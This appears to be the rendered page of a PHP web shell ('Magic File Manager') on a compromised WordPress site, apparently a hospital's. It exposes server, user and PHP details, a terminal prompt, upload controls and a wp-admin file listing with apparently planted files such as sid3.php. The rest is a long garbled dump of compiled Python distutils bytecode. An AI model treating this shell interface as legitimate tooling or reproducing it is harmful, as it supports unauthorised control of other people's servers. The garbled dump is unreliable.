✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
3 \Âã @sÀddlZddlZddlZddlmZy ddlZWnek rHdZYnXddlTddlm Z m Z ddl m Z m Z mZddlmZddlmZejdƒZGd d „d ƒZGd d „d ƒZd d„ZdS)éN)Úmessage_from_file)Ú*)Ú FancyGetoptÚtranslate_longopt)Ú check_environÚ strtoboolÚ rfc822_escape)Úlog)ÚDEBUGz^[a-zA-Z]([a-zA-Z0-9_]*)$c@sleZdZd}d~dd€d�gZdZd‚dƒd„d…d†d‡dˆd‰dŠd‹dŒd�dŽd�d�d‘d’d“d”d•d–gZd=d>„eDƒZddiZd—d?d@„ZdAdB„Z d˜dDdE„Z dFdG„Z d™dHdI„Z dJdK„Z dLdM„ZdNdO„ZdPdQ„ZddgfdRdS„ZdTdU„ZdVdW„ZdXdY„ZdZd[„Zd\d]„Zd^d_„Zdšd`da„Zd›dbdc„Zdœdedf„Zejfdgdh„Zdidj„Zdkdl„Zdmdn„Z dodp„Z!dqdr„Z"dsdt„Z#dudv„Z$dwdx„Z%dydz„Z&d{d|„Z'dS)�Ú DistributionÚverboseÚvúrun verbosely (default)éÚquietÚqú!run quietly (turns verbosity off)údry-runÚnúdon't actually do anythingÚhelpÚhúshow detailed help messageú no-user-cfgNú-ignore pydistutils.cfg in your home directoryz£Common commands: (see '--help-commands' for more) setup.py build will build the package underneath 'build/' setup.py install will install the package ú help-commandsúlist all available commandsÚnameúprint package nameÚversionÚVúprint package versionÚfullnameúprint -Úauthorúprint the author's nameú author-emailú print the author's email addressÚ maintainerúprint the maintainer's nameúmaintainer-emailú$print the maintainer's email addressÚcontactú7print the maintainer's name if known, else the author'sú contact-emailú@print the maintainer's email address if known, else the author'sÚurlúprint the URL for this packageÚlicenseú print the license of the packageÚlicenceúalias for --licenseÚ descriptionúprint the package descriptionúlong-descriptionú"print the long package descriptionÚ platformsúprint the list of platformsÚ classifiersúprint the list of classifiersÚkeywordsúprint the list of keywordsÚprovidesú+print the list of packages/modules providedÚrequiresú+print the list of packages/modules requiredÚ obsoletesú0print the list of packages/modules made obsoletecCsg|]}t|dƒ‘qS)r)r)Ú.0Úx©rHú&/usr/lib64/python3.6/distutils/dist.pyú sszDistribution.cCsˆd|_d|_d|_x|jD]}t||dƒqWtƒ|_x,|jjD] }d|}t||t|j|ƒƒq@Wi|_ d|_ d|_ d|_ i|_ g|_d|_i|_d|_d|_d|_d|_d|_d|_d|_d|_d|_d|_d|_i|_i|_|�r8|jdƒ}|dk �rH|d=xD|jƒD]8\}}|j |ƒ}x"|jƒD]\} } d| f|| <�q(W�q Wd|k�rŽ|d|d<|d=d } t!dk �r~t!j"| ƒnt#j$j%| d ƒx¨|jƒD]œ\} } t&|jd | ƒ�rÈt|jd | ƒ| ƒnjt&|j| ƒ�ræt|j| | ƒnLt&|| ƒ�rt|| | ƒn2d t'| ƒ} t!dk �r"t!j"| ƒnt#j$j%| d ƒ�q˜Wd |_(|j dk �r|x0|j D]&} | j)dƒ�sdP| dk�rRd|_(P�qRW|j*ƒdS)NrrÚget_ÚÚoptionsz setup scriptr4r2z:'licence' distribution option is deprecated; use 'license'Ú Zset_zUnknown distribution option: %sTú-z --no-user-cfgF)+r Údry_runrÚdisplay_option_namesÚsetattrÚDistributionMetadataÚmetadataÚ_METHOD_BASENAMESÚgetattrÚcmdclassÚcommand_packagesÚ script_nameÚ script_argsÚcommand_optionsZ dist_filesÚpackagesZ package_dataZ package_dirÚ py_modulesÚ librariesÚheadersÚ ext_modulesZ ext_packageZ include_dirsZ extra_pathÚscriptsÚ data_filesZpasswordÚ command_objÚhave_runÚgetÚitemsÚget_option_dictÚwarningsÚwarnÚsysÚstderrÚwriteÚhasattrÚreprÚ want_user_cfgÚ startswithÚfinalize_options)ÚselfZattrsÚattrÚbasenameZ method_namerMÚcommandZ cmd_optionsÚopt_dictÚoptÚvalÚmsgÚkeyÚargrHrHrIÚ__init__zs‚                   zDistribution.__init__cCs&|jj|ƒ}|dkr"i}|j|<|S)N)r[re)rrruÚdictrHrHrIrgs zDistribution.get_option_dictrLc CsÐddlm}|dkr"t|jjƒƒ}|dk r@|j||ƒ|d}|sV|j|dƒdSxt|D]l}|jj|ƒ}|dkrˆ|j|d|ƒq\|j|d|ƒ||ƒ}x$|jdƒD]}|j|d|ƒq®Wq\WdS)Nr)Úpformatz zno commands known yetzno option dict for '%s' commandzoption dict for '%s' command:rN)Úpprintr~Úsortedr[ÚkeysÚannouncereÚsplit) rrÚheaderÚcommandsÚindentr~Zcmd_namervÚoutÚlinerHrHrIÚdump_option_dicts&s&    zDistribution.dump_option_dictscCs¾g}tƒtjjtjdjƒ}tjj|dƒ}tjj|ƒrB|j |ƒtj dkrRd}nd}|j rˆtjjtjj dƒ|ƒ}tjj|ƒrˆ|j |ƒd}tjj|ƒr¢|j |ƒt rº|jdd j|ƒƒ|S) NÚ distutilsz distutils.cfgÚposixz.pydistutils.cfgzpydistutils.cfgú~z setup.cfgzusing config files: %sz, )rÚosÚpathÚdirnamerjÚmodulesÚ__file__ÚjoinÚisfileÚappendrroÚ expanduserr r‚)rrÚfilesZsys_dirZsys_fileZ user_filenameZ user_fileZ local_filerHrHrIÚfind_config_filesBs&       zDistribution.find_config_filescCs´ddlm}tjtjkr8ddddddd d d d d ddg }ng}t|ƒ}|dkrT|jƒ}trb|jdƒ|ƒ}x˜|D]�}tr„|jd|ƒ|j |ƒxf|j ƒD]Z}|j |ƒ}|j |ƒ}x@|D]8} | dkr¶| |kr¶|j || ƒ} | jddƒ} || f|| <q¶Wq˜W|jƒqnWd|jk�r°x |jdjƒD]Ž\} \} } |jj | ƒ} yF| �rRt|| t| ƒ ƒn(| dk�rnt|| t| ƒƒn t|| | ƒWn,tk �r¨} zt| ƒ‚WYdd} ~ XnX�qWdS)Nr)Ú ConfigParserz install-basezinstall-platbasez install-libzinstall-platlibzinstall-purelibzinstall-headerszinstall-scriptsz install-dataÚprefixz exec-prefixÚhomeÚuserÚrootz"Distribution.parse_config_files():z reading %sÚ__name__rOÚ_Úglobalr rP)r rP)Z configparserr˜rjr™Ú base_prefixÚ frozensetr—r r‚ÚreadZsectionsrMrgreÚreplacer|r[rfÚ negative_optrRrÚ ValueErrorÚDistutilsOptionError)rrÚ filenamesr˜Zignore_optionsÚparserÚfilenameZsectionrMrvrwrxÚsrcÚaliasryrHrHrIÚparse_config_filesrsJ               zDistribution.parse_config_filescCsÂ|jƒ}g|_t||jƒ}|j|jƒ|jddiƒ|j|j|d�}|j ƒ}t j |j ƒ|j |ƒrhdSx |rˆ|j||ƒ}|dkrjdSqjW|jr°|j|t|jƒdk|jd�dS|js¾tdƒ‚dS)Nr4r2)ÚargsÚobjectr)Údisplay_optionsr…zno commands suppliedT)Ú_get_toplevel_optionsr…rr¯Úset_negative_aliasesr¤Z set_aliasesÚgetoptrZZget_option_orderr Z set_verbosityr Úhandle_display_optionsÚ_parse_command_optsrÚ _show_helpÚlenÚDistutilsArgError)rrZtoplevel_optionsr¨r­Ú option_orderrHrHrIÚparse_command_line¬s,       zDistribution.parse_command_linecCs |jdgS)Núcommand-packages=ú0list of packages that provide distutils commands)rºNr»)Úglobal_options)rrrHrHrIr°ïsz"Distribution._get_toplevel_optionscCsddlm}|d}tj|ƒs*td|ƒ‚|jj|ƒy|j|ƒ}Wn*tk rn}zt |ƒ‚WYdd}~XnXt ||ƒs†t d|ƒ‚t |dƒošt |jtƒs¬d}t ||ƒ‚|j}t |dƒrÐ|jƒ}|j|jƒt |dƒròt |jtƒròt|jƒ}ng}|j|j|j|ƒ|j|ƒ|j|d d…ƒ\}} t | d ƒ�rV| j�rV|j|d|gd �dSt |dƒ�rÐt |jtƒ�rÐd} xP|jD]F\} } } }t | |j| ƒƒ�r|d } t|ƒ�r°|ƒnt d || fƒ‚�q|W| �rÐdS|j|ƒ}x&t| ƒjƒD]\}}d |f||<�qèW|S)Nr)ÚCommandzinvalid command name '%s'z&command class %s must subclass CommandÚ user_optionszIcommand class %s must provide 'user_options' attribute (a list of tuples)r¤Ú help_optionsrr)r¯r…zYinvalid help function %r for help option '%s': must be a callable object (function, etc.)z command line) Ú distutils.cmdr½Ú command_reÚmatchÚ SystemExitr…r”Úget_command_classÚDistutilsModuleErrorr·Ú issubclassZDistutilsClassErrorrmÚ isinstancer¾Úlistr¤ÚcopyÚupdater¿Úfix_help_optionsÚset_option_tabler¼r±r²rrµZ get_attr_nameÚcallablergÚvarsrf)rrr¨r­r½ruZ cmd_classryr¤r¿ZoptsZhelp_option_foundZ help_optionZshortZdescÚfuncrvrÚvaluerHrHrIr´úsb                   z Distribution._parse_command_optscCsTxNdD]F}t|j|ƒ}|dkr qt|tƒrdd„|jdƒDƒ}t|j||ƒqWdS)Nr>r:cSsg|] }|jƒ‘qSrH)Ústrip)rFZelmrHrHrIrJ_sz1Distribution.finalize_options..ú,)r>r:)rVrTrÇÚstrrƒrR)rrrsrÐrHrHrIrqUs   zDistribution.finalize_optionsc Cs ddlm}ddlm}|rR|r*|jƒ}n|j}|j|ƒ|j|jdƒt dƒ|rt|j|j ƒ|jd ƒt dƒx„|j D]z}t |t ƒršt||ƒrš|} n |j|ƒ} t| dƒrÒt | jtƒrÒ|j| jt| jƒƒn |j| jƒ|jd | jƒt dƒq|Wt ||jƒƒdS) Nr)Ú gen_usage)r½z Global options:rLz*Information display options (just display z!information, ignore any commands)r¿zOptions for '%s' command:zKInformation display options (just display information, ignore any commands))Údistutils.corerÔrÀr½r°r¼rÌZ print_helpÚ common_usageÚprintr¯r…rÇÚtyperÆrÄrmr¿rÈr¾rËr�rY) rrr¨r¼r¯r…rÔr½rMruÚklassrHrHrIrµbs6           zDistribution._show_helpc CsÒddlm}|jr4|jƒtdƒt||jƒƒdSd}i}x|jD]}d||d<qDWxt|D]l\}}|r^|j|ƒr^t|ƒ}t |j d|ƒƒ}|dkr¦tdj |ƒƒn |dkr¾td j |ƒƒnt|ƒd}q^W|S)Nr)rÔrLrrKr>r:rÒr<r@rBrDrN)r>r:)r<r@rBrD) rÕrÔZ help_commandsÚprint_commandsr×rYr¯rerrVrTr’) rrr¸rÔZany_display_optionsZis_display_optionÚoptionrwrxrÐrHrHrIr³”s,  z#Distribution.handle_display_optionscCsnt|dƒx\|D]T}|jj|ƒ}|s0|j|ƒ}y |j}Wntk rRd}YnXtd|||fƒqWdS)Nú:z(no description available)z %-*s %s)r×rWrerÄr6ÚAttributeError)rrr…r„Ú max_lengthÚcmdrÙr6rHrHrIÚprint_command_list¼s      zDistribution.print_command_listcCsªddl}|jj}i}x|D] }d||<qWg}x&|jjƒD]}|j|ƒs:|j|ƒq:Wd}x$||D]}t|ƒ|krdt|ƒ}qdW|j|d|ƒ|r¦t ƒ|j|d|ƒdS)NrrzStandard commandszExtra commands) Údistutils.commandruÚ__all__rWr�rer”r¶ràr×)rrrŠÚ std_commandsÚis_stdrßÚextra_commandsrÞrHrHrIrÚÍs*     zDistribution.print_commandsc Cs¼ddl}|jj}i}x|D] }d||<qWg}x&|jjƒD]}|j|ƒs:|j|ƒq:Wg}x\||D]P}|jj|ƒ}|s‚|j|ƒ}y |j}Wnt k r¤d}YnX|j||fƒqdW|S)Nrrz(no description available)) rárurârWr�rer”rÄr6rÝ) rrrŠrãrärßråÚrvrÙr6rHrHrIÚget_command_listîs(        zDistribution.get_command_listcCsN|j}t|tƒsJ|dkrd}dd„|jdƒDƒ}d|krD|jddƒ||_|S)NrLcSsg|]}|dkr|jƒ‘qS)rL)rÑ)rFZpkgrHrHrIrJsz5Distribution.get_command_packages..rÒzdistutils.commandr)rXrÇrÈrƒÚinsert)rrZpkgsrHrHrIÚget_command_packagess  z!Distribution.get_command_packagescCs¶|jj|ƒ}|r|Sx�|jƒD]„}d||f}|}yt|ƒtj|}Wntk r^wYnXyt||ƒ}Wn&tk r”t d|||fƒ‚YnX||j|<|SWt d|ƒ‚dS)Nz%s.%sz3invalid command '%s' (no class '%s' in module '%s')zinvalid command '%s') rWreréÚ __import__rjr�Ú ImportErrorrVrÝrÅ)rrrurÙZpkgnameZ module_nameZ klass_nameÚmodulerHrHrIrÄs(   zDistribution.get_command_classcCsn|jj|ƒ}| rj|rjtr(|jd|ƒ|j|ƒ}||ƒ}|j|<d|j|<|jj|ƒ}|rj|j||ƒ|S)Nz.z1error in %s: command '%s' has no such option '%s')Úget_command_namergr r‚rfZboolean_optionsrÝr¤rÇrÓrRrrmr¦r¥) rrrcZ option_dictÚ command_namerÛÚsourcerÐZ bool_optsZneg_optZ is_stringryrHrHrIrí]s>           z!Distribution._set_command_optionsrcCs€ddlm}t||ƒs&|}|j|ƒ}n|jƒ}|js8|S|jƒd|_d|j|<|j|ƒ|r|x|j ƒD]}|j ||ƒqhW|S)Nr)r½) rÀr½rÇrïrñZ finalizedZinitialize_optionsrdríZget_sub_commandsÚreinitialize_command)rrruZreinit_subcommandsr½ròÚsubrHrHrIrô‰s     z!Distribution.reinitialize_commandcCstj||ƒdS)N)r )rrryÚlevelrHrHrIr‚²szDistribution.announcecCsx|jD]}|j|ƒqWdS)N)r…Ú run_command)rrrßrHrHrIÚ run_commandsµs zDistribution.run_commandscCsD|jj|ƒrdStjd|ƒ|j|ƒ}|jƒ|jƒd|j|<dS)Nz running %sr)rdrer ÚinforïZensure_finalizedZrun)rrrurîrHrHrIr÷¿s   zDistribution.run_commandcCst|jp|jpgƒdkS)Nr)r¶r\r])rrrHrHrIÚhas_pure_modulesÓszDistribution.has_pure_modulescCs|jot|jƒdkS)Nr)r`r¶)rrrHrHrIÚhas_ext_modulesÖszDistribution.has_ext_modulescCs|jot|jƒdkS)Nr)r^r¶)rrrHrHrIÚhas_c_librariesÙszDistribution.has_c_librariescCs|jƒp|jƒS)N)rúrû)rrrHrHrIÚ has_modulesÜszDistribution.has_modulescCs|jot|jƒdkS)Nr)r_r¶)rrrHrHrIÚ has_headersßszDistribution.has_headerscCs|jot|jƒdkS)Nr)rar¶)rrrHrHrIÚ has_scriptsâszDistribution.has_scriptscCs|jot|jƒdkS)Nr)rbr¶)rrrHrHrIÚhas_data_filesåszDistribution.has_data_filescCs|jƒo|jƒ o|jƒ S)N)rúrûrü)rrrHrHrIÚis_pureès zDistribution.is_pure)r r rr)rrr)rrr)rrr)rNr)rNr)rNr)rr r!)r"Nr#)r$Nr%)r&Nr')r(Nr))r*Nr+)r,Nr-)r.Nr/)r0Nr1)r2Nr3)r4Nr5)r6Nr7)r8Nr9)r:Nr;)r<Nr=)r>Nr?)r@NrA)rBNrC)rDNrE)N)NNrL)N)r)N)r)(r�Ú __module__Ú __qualname__r¼rÖr¯rQr¤r|rgr‰r—r¬r¹r°r´rqrµr³ràrÚrçrérÄrïrírôr ÚINFOr‚rør÷rúrûrürýrþrÿrrrHrHrHrIr s¦  " 0 :C [  1(!" &  , ) r c@söeZdZdNZdOdd„Zdd„Zdd„Zdd„Zdd„Zd d!„Z d"d#„Z d$d%„Z d&d'„Z d(d)„Z d*d+„Zd,d-„Zd.d/„Zd0d1„Zd2d3„Zd4d5„ZeZd6d7„Zd8d9„Zd:d;„Zdd?„Zd@dA„ZdBdC„ZdDdE„ZdFdG„ZdHdI„ZdJdK„ZdLdM„Z dS)PrSrrr$Ú author_emailr(Úmaintainer_emailr0r2r6Úlong_descriptionr>r:r"r,Ú contact_emailr<Ú download_urlr@rBrDNcCs‚|dk r|jt|ƒƒnfd|_d|_d|_d|_d|_d|_d|_d|_ d|_ d|_ d|_ d|_ d|_d|_d|_d|_d|_dS)N)Ú read_pkg_fileÚopenrrr$rr(rr0r2r6rr>r:r<r r@rBrD)rrrŽrHrHrIr|s&zDistributionMetadata.__init__cst|ƒ‰‡fdd„}‡fdd„}ˆd}|dƒ|_|dƒ|_|dƒ|_|d ƒ|_d|_|d ƒ|_d|_|d ƒ|_|d ƒ|_ d ˆkrŽ|d ƒ|_ nd|_ |dƒ|_ |dƒ|_dˆkrÀ|dƒj dƒ|_ |dƒ|_|dƒ|_|dkrü|dƒ|_|dƒ|_|dƒ|_nd|_d|_d|_dS)Ncsˆ|}|dkrdS|S)NÚUNKNOWNrH)rrÐ)ryrHrIÚ _read_fieldsz7DistributionMetadata.read_pkg_file.._read_fieldcsˆj|dƒ}|gkrdS|S)N)Zget_all)rÚvalues)ryrHrIÚ _read_list#s z6DistributionMetadata.read_pkg_file.._read_listzmetadata-versionrrZsummaryr$z author-emailz home-pager2z download-urlr6r>rÒÚplatformZ classifierz1.1rBr@rD)rrrr6r$r(rrr0r2r rrƒr>r:r<rBr@rD)rrÚfiler rZmetadata_versionrH)ryrIr s:                 z"DistributionMetadata.read_pkg_filec Cs2ttjj|dƒddd��}|j|ƒWdQRXdS)NzPKG-INFOÚwzUTF-8)Úencoding)r r�rŽr’Úwrite_pkg_file)rrZbase_dirZpkg_inforHrHrIÚwrite_pkg_infoMs z#DistributionMetadata.write_pkg_infocCsbd}|js"|js"|js"|js"|jr&d}|jd|ƒ|jd|jƒƒ|jd|jƒƒ|jd|jƒƒ|jd|j ƒƒ|jd|j ƒƒ|jd |j ƒƒ|jd |j ƒƒ|jrÈ|jd |jƒt |jƒƒ}|jd |ƒd j|jƒƒ}|�r|jd|ƒ|j|d|jƒƒ|j|d|jƒƒ|j|d|jƒƒ|j|d|jƒƒ|j|d|jƒƒdS)Nz1.0z1.1zMetadata-Version: %s z Name: %s z Version: %s z Summary: %s zHome-page: %s z Author: %s zAuthor-email: %s z License: %s zDownload-URL: %s zDescription: %s rÒz Keywords: %s ZPlatformZ ClassifierZRequiresZProvidesZ Obsoletes)r@rBrDr<r rlÚget_nameÚ get_versionÚget_descriptionÚget_urlÚ get_contactÚget_contact_emailÚ get_licenserÚget_long_descriptionr’Ú get_keywordsÚ _write_listÚ get_platformsÚget_classifiersÚ get_requiresÚ get_providesÚ get_obsoletes)rrrrZ long_descr>rHrHrIrTs0  z#DistributionMetadata.write_pkg_filecCs$x|D]}|jd||fƒqWdS)Nz%s: %s )rl)rrrrrrÐrHrHrIrvs z DistributionMetadata._write_listcCs |jpdS)Nr )r)rrrHrHrIr|szDistributionMetadata.get_namecCs |jpdS)Nz0.0.0)r)rrrHrHrIrsz DistributionMetadata.get_versioncCsd|jƒ|jƒfS)Nz%s-%s)rr)rrrHrHrIÚ get_fullname‚sz!DistributionMetadata.get_fullnamecCs |jpdS)Nr )r$)rrrHrHrIÚ get_author…szDistributionMetadata.get_authorcCs |jpdS)Nr )r)rrrHrHrIÚget_author_emailˆsz%DistributionMetadata.get_author_emailcCs |jpdS)Nr )r()rrrHrHrIÚget_maintainer‹sz#DistributionMetadata.get_maintainercCs |jpdS)Nr )r)rrrHrHrIÚget_maintainer_emailŽsz)DistributionMetadata.get_maintainer_emailcCs|jp|jpdS)Nr )r(r$)rrrHrHrIr‘sz DistributionMetadata.get_contactcCs|jp|jpdS)Nr )rr)rrrHrHrIr”sz&DistributionMetadata.get_contact_emailcCs |jpdS)Nr )r0)rrrHrHrIr—szDistributionMetadata.get_urlcCs |jpdS)Nr )r2)rrrHrHrIršsz DistributionMetadata.get_licensecCs |jpdS)Nr )r6)rrrHrHrIržsz$DistributionMetadata.get_descriptioncCs |jpdS)Nr )r)rrrHrHrIr¡sz)DistributionMetadata.get_long_descriptioncCs |jpgS)N)r>)rrrHrHrIr¤sz!DistributionMetadata.get_keywordscCs |jp dgS)Nr )r:)rrrHrHrIr §sz"DistributionMetadata.get_platformscCs |jpgS)N)r<)rrrHrHrIr!ªsz$DistributionMetadata.get_classifierscCs |jpdS)Nr )r )rrrHrHrIÚget_download_url­sz%DistributionMetadata.get_download_urlcCs |jpgS)N)rB)rrrHrHrIr"±sz!DistributionMetadata.get_requirescCs,ddl}x|D]}|jj|ƒqW||_dS)Nr)Údistutils.versionpredicateÚversionpredicateÚVersionPredicaterB)rrrÐrŠr rHrHrIÚ set_requires´s z!DistributionMetadata.set_requirescCs |jpgS)N)r@)rrrHrHrIr#ºsz!DistributionMetadata.get_providescCs:dd„|Dƒ}x |D]}ddl}|jj|ƒqW||_dS)NcSsg|] }|jƒ‘qSrH)rÑ)rFr rHrHrIrJ¾sz5DistributionMetadata.set_provides..r)r+r,Zsplit_provisionr@)rrrÐr rŠrHrHrIÚ set_provides½s  z!DistributionMetadata.set_providescCs |jpgS)N)rD)rrrHrHrIr$Äsz"DistributionMetadata.get_obsoletescCs,ddl}x|D]}|jj|ƒqW||_dS)Nr)r+r,r-rD)rrrÐrŠr rHrHrIÚ set_obsoletesÇs z"DistributionMetadata.set_obsoletes)rrr$rr(rr0r2r6rr>r:r"r,rr<r r@rBrD)N)!r�rrrUr|r rrrrrr%r&r'r(r)rrrrZ get_licencerrrr r!r*r"r.r#r/r$r0rHrHrHrIrSôsF 4"rScCs(g}x|D]}|j|dd…ƒq W|S)Nré)r”)rMZ new_optionsZ help_tuplerHrHrIrËÍs rË)rjr�ÚreZemailrrhrëZdistutils.errorsZdistutils.fancy_getoptrrZdistutils.utilrrrrŠr Zdistutils.debugr ÚcompilerÁr rSrËrHrHrHrIÚs0      ]Z